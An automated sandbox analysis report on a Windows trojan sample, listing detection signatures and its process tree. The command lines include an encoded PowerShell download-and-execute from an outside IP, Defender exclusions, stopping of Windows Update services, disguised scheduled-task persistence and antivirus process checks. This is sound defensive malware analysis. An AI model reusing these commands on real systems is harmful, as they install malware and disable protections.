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Windows
Analysis Report
hfi47s4wOT.exe
Overview
General Information
Sample name: | hfi47s4wOT.exerenamed because original name is a hash value |
Original sample name: | b74b4dc696daa20dccd7f743c8c1e1a2.exe |
Analysis ID: | 1483258 |
MD5: | b74b4dc696daa20dccd7f743c8c1e1a2 |
SHA1: | 45d575a6f69cc184b9b15785504b962b5ef041a5 |
SHA256: | 585d0e01d18cf7acfb8cb1b7ba54ffbb64e187e0a69372e2dc7f6f6b285a8493 |
Tags: | 32exetrojan |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Sigma detected: Search for Antivirus process
Sigma detected: Stop multiple services
Yara detected AntiVM3
Yara detected Powershell download and execute
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Drops PE files with a suspicious file extension
Encrypted powershell cmdline option found
Found API chain indicative of sandbox detection
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Found stalling execution ending in API Sleep call
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Powershell drops PE file
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: WScript or CScript Dropper
Stops critical windows services
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE / OLE file has an invalid certificate
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- hfi47s4wOT.exe (PID: 7444 cmdline:
"C:\Users\ user\Deskt op\hfi47s4 wOT.exe" MD5: B74B4DC696DAA20DCCD7F743C8C1E1A2) - cmd.exe (PID: 7516 cmdline:
"C:\Window s\System32 \cmd.exe" /k move Re turning Re turning.cm d & Return ing.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7524 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7568 cmdline:
tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1) - findstr.exe (PID: 7576 cmdline:
findstr /I "wrsa.exe opssvc.ex e" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E) - tasklist.exe (PID: 7612 cmdline:
tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1) - findstr.exe (PID: 7620 cmdline:
findstr /I "avastui. exe avgui. exe ekrn.e xe bdservi cehost.exe nswscsvc. exe sophos health.exe " MD5: F1D4BE0E99EC734376FDE474A8D4EA3E) - cmd.exe (PID: 7656 cmdline:
cmd /c md 287175 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - findstr.exe (PID: 7672 cmdline:
findstr /V "COALITIO NFIBERRELP ASTE" Gays MD5: F1D4BE0E99EC734376FDE474A8D4EA3E) - cmd.exe (PID: 7688 cmdline:
cmd /c cop y /b Yoga + Sail 287 175\B MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - Surrey.pif (PID: 7704 cmdline:
Surrey.pif B MD5: 848164D084384C49937F99D5B894253E) - cmd.exe (PID: 7740 cmdline:
cmd /c sch tasks.exe /create /t n "Webster " /tr "wsc ript //B ' C:\Users\u ser\AppDat a\Local\Mi ndZenith I nnovations Co\MindZe nithPro.js '" /sc dai ly /mo 1 / ri 3 /du 2 3:57 /F /R L HIGHEST MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7748 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 7788 cmdline:
schtasks.e xe /create /tn "Webs ter" /tr " wscript // B 'C:\User s\user\App Data\Local \MindZenit h Innovati ons Co\Min dZenithPro .js'" /sc daily /mo 1 /ri 3 /d u 23:57 /F /RL HIGHE ST MD5: 48C2FE20575769DE916F48EF0676A965) - schtasks.exe (PID: 7804 cmdline:
schtasks.e xe /create /tn "Mind ZenithPro" /tr "wscr ipt //B 'C :\Users\us er\AppData \Local\Min dZenith In novations Co\MindZen ithPro.js' " /sc onlo gon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 7812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - RegAsm.exe (PID: 8156 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\287175\ RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13) - powershell.exe (PID: 2504 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -EncodedCo mmand "KAB OAGUAdwAtA E8AYgBqAGU AYwB0ACAAU wB5AHMAdAB lAG0ALgBOA GUAdAAuAFc AZQBiAEMAb ABpAGUAbgB 0ACkALgBEA G8AdwBuAGw AbwBhAGQAR gBpAGwAZQA oACcAaAB0A HQAcAA6AC8 ALwA1ADEAL gA3ADcALgA xADQAMAAuA DcANAAvAHA AYQBnAGUAc wAvAFUAcAB kAGEAdABlA C4AZQB4AGU AJwAsACAAP AAjAG0AaAB 0ACMAPgAgA CgASgBvAGk AbgAtAFAAY QB0AGgAIAA 8ACMAZAB2A GcAIwA+ACA ALQBQAGEAd ABoACAAJAB lAG4AdgA6A FQAZQBtAHA AIAA8ACMAe gByAGIAIwA +ACAALQBDA GgAaQBsAGQ AUABhAHQAa AAgACcAVQB wAGQAYQB0A GUALgBlAHg AZQAnACkAK QA8ACMAYgB lAHEAIwA+A DsAIABTAHQ AYQByAHQAL QBQAHIAbwB jAGUAcwBzA CAALQBGAGk AbABlAFAAY QB0AGgAIAA 8ACMAeQBqA GYAIwA+ACA AKABKAG8Aa QBuAC0AUAB hAHQAaAAgA C0AUABhAHQ AaAAgACQAZ QBuAHYAOgB UAGUAbQBwA CAAPAAjAGQ AbABuACMAP gAgAC0AQwB oAGkAbABkA FAAYQB0AGg AIAAnAFUAc ABkAGEAdAB lAC4AZQB4A GUAJwApADw AIwBrAGMAb gAjAD4A" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 5984 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Update.exe (PID: 7896 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Update .exe" MD5: 83D24C959DB31E8275643ED7DE230825) - Update.exe (PID: 5344 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Update .exe" MD5: 83D24C959DB31E8275643ED7DE230825) - tmp11jjwww2.exe (PID: 732 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\tmp11j jwww2.exe" MD5: C84101CF9E883A329337A3BA6BC74733) - dialer.exe (PID: 368 cmdline:
C:\Windows \System32\ dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93) - winlogon.exe (PID: 552 cmdline:
winlogon.e xe MD5: F8B41A1B3E569E7E6F990567F21DCE97) - RegAsm.exe (PID: 7824 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\287175\ RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13) - powershell.exe (PID: 7932 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -EncodedCo mmand "KAB OAGUAdwAtA E8AYgBqAGU AYwB0ACAAU wB5AHMAdAB lAG0ALgBOA GUAdAAuAFc AZQBiAEMAb ABpAGUAbgB 0ACkALgBEA G8AdwBuAGw AbwBhAGQAR gBpAGwAZQA oACcAaAB0A HQAcAA6AC8 ALwA1ADEAL gA3ADcALgA xADQAMAAuA DcANAAvAHA AYQBnAGUAc wAvAFUAcAB kAGEAdABlA C4AZQB4AGU AJwAsACAAP AAjAG0AaAB 0ACMAPgAgA CgASgBvAGk AbgAtAFAAY QB0AGgAIAA 8ACMAZAB2A GcAIwA+ACA ALQBQAGEAd ABoACAAJAB lAG4AdgA6A FQAZQBtAHA AIAA8ACMAe gByAGIAIwA +ACAALQBDA GgAaQBsAGQ AUABhAHQAa AAgACcAVQB wAGQAYQB0A GUALgBlAHg AZQAnACkAK QA8ACMAYgB lAHEAIwA+A DsAIABTAHQ AYQByAHQAL QBQAHIAbwB jAGUAcwBzA CAALQBGAGk AbABlAFAAY QB0AGgAIAA 8ACMAeQBqA GYAIwA+ACA AKABKAG8Aa QBuAC0AUAB hAHQAaAAgA C0AUABhAHQ AaAAgACQAZ QBuAHYAOgB UAGUAbQBwA CAAPAAjAGQ AbABuACMAP gAgAC0AQwB oAGkAbABkA FAAYQB0AGg AIAAnAFUAc ABkAGEAdAB lAC4AZQB4A GUAJwApADw AIwBrAGMAb gAjAD4A" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7964 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Update.exe (PID: 5724 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Update .exe" MD5: 83D24C959DB31E8275643ED7DE230825) - Update.exe (PID: 1720 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Update .exe" MD5: 83D24C959DB31E8275643ED7DE230825) - tmpgtnhdrk0.exe (PID: 2860 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\tmpgtn hdrk0.exe" MD5: C84101CF9E883A329337A3BA6BC74733) - dialer.exe (PID: 2436 cmdline:
C:\Windows \System32\ dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93) - powershell.exe (PID: 5560 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe <# cmkpzahpq# > IF([Syst em.Environ ment]::OSV ersion.Ver sion -lt [ System.Ver sion]"6.2" ) { schtas ks /create /f /sc on logon /rl highest /r u 'System' /tn 'Goog leUpdateTa skMachineQ C' /tr ''' C:\Program Files\Goo gle\Chrome \updater.e xe''' } El se { Regis ter-Schedu ledTask -A ction (New -Scheduled TaskAction -Execute 'C:\Progra m Files\Go ogle\Chrom e\updater. exe') -Tri gger (New- ScheduledT askTrigger -AtStartu p) -Settin gs (New-Sc heduledTas kSettingsS et -AllowS tartIfOnBa tteries -D isallowHar dTerminate -DontStop IfGoingOnB atteries - DontStopOn IdleEnd -E xecutionTi meLimit (N ew-TimeSpa n -Days 10 00)) -Task Name 'Goog leUpdateTa skMachineQ C' -User ' System' -R unLevel 'H ighest' -F orce; } MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - choice.exe (PID: 7720 cmdline:
choice /d y /t 15 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
- wscript.exe (PID: 7848 cmdline:
C:\Windows \system32\ wscript.EX E //B "C:\ Users\user \AppData\L ocal\MindZ enith Inno vations Co \MindZenit hPro.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - MindZenithPro.pif (PID: 7928 cmdline:
"C:\Users\ user\AppDa ta\Local\M indZenith Innovation s Co\MindZ enithPro.p if" "C:\Us ers\user\A ppData\Loc al\MindZen ith Innova tions Co\g " MD5: 848164D084384C49937F99D5B894253E)
- wscript.exe (PID: 7860 cmdline:
C:\Windows \system32\ wscript.EX E //B "C:\ Users\user \AppData\L ocal\MindZ enith Inno vations Co \MindZenit hPro.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - MindZenithPro.pif (PID: 7936 cmdline:
"C:\Users\ user\AppDa ta\Local\M indZenith Innovation s Co\MindZ enithPro.p if" "C:\Us ers\user\A ppData\Loc al\MindZen ith Innova tions Co\g " MD5: 848164D084384C49937F99D5B894253E)
- powershell.exe (PID: 7520 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amFiles) - Force MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7540 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- powershell.exe (PID: 7236 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amFiles) - Force MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7224 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cmd.exe (PID: 8056 cmdline:
C:\Windows \System32\ cmd.exe /c sc stop U soSvc & sc stop WaaS MedicSvc & sc stop w uauserv & sc stop bi ts & sc st op dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2304 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 3396 cmdline:
sc stop Us oSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 5688 cmdline:
sc stop Wa aSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8044 cmdline:
sc stop wu auserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 1016 cmdline:
sc stop bi ts MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 5184 cmdline:
sc stop do svc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
- cmd.exe (PID: 5848 cmdline:
C:\Windows \System32\ cmd.exe /c sc stop U soSvc & sc stop WaaS MedicSvc & sc stop w uauserv & sc stop bi ts & sc st op dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4856 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 1136 cmdline:
sc stop Us oSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 3808 cmdline:
sc stop Wa aSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 5376 cmdline:
sc stop wu auserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 1716 cmdline:
sc stop bi ts MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 3284 cmdline:
sc stop do svc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
- powershell.exe (PID: 4464 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe <# cmkpzahpq# > IF([Syst em.Environ ment]::OSV ersion.Ver sion -lt [ System.Ver sion]"6.2" ) { schtas ks /create /f /sc on logon /rl highest /r u 'System' /tn 'Goog leUpdateTa skMachineQ C' /tr ''' C:\Program Files\Goo gle\Chrome \updater.e xe''' } El se { Regis ter-Schedu ledTask -A ction (New -Scheduled TaskAction -Execute 'C:\Progra m Files\Go ogle\Chrom e\updater. exe') -Tri gger (New- ScheduledT askTrigger -AtStartu p) -Settin gs (New-Sc heduledTas kSettingsS et -AllowS tartIfOnBa tteries -D isallowHar dTerminate -DontStop IfGoingOnB atteries - DontStopOn IdleEnd -E xecutionTi meLimit (N ew-TimeSpa n -Days 10 00)) -Task Name 'Goog leUpdateTa skMachineQ C' -User ' System' -R unLevel 'H ighest' -F orce; } MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2032 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_AntiVM_3 | Yara detected AntiVM_3 | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Operating System Destruction |
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Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Max Altgelt (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113: |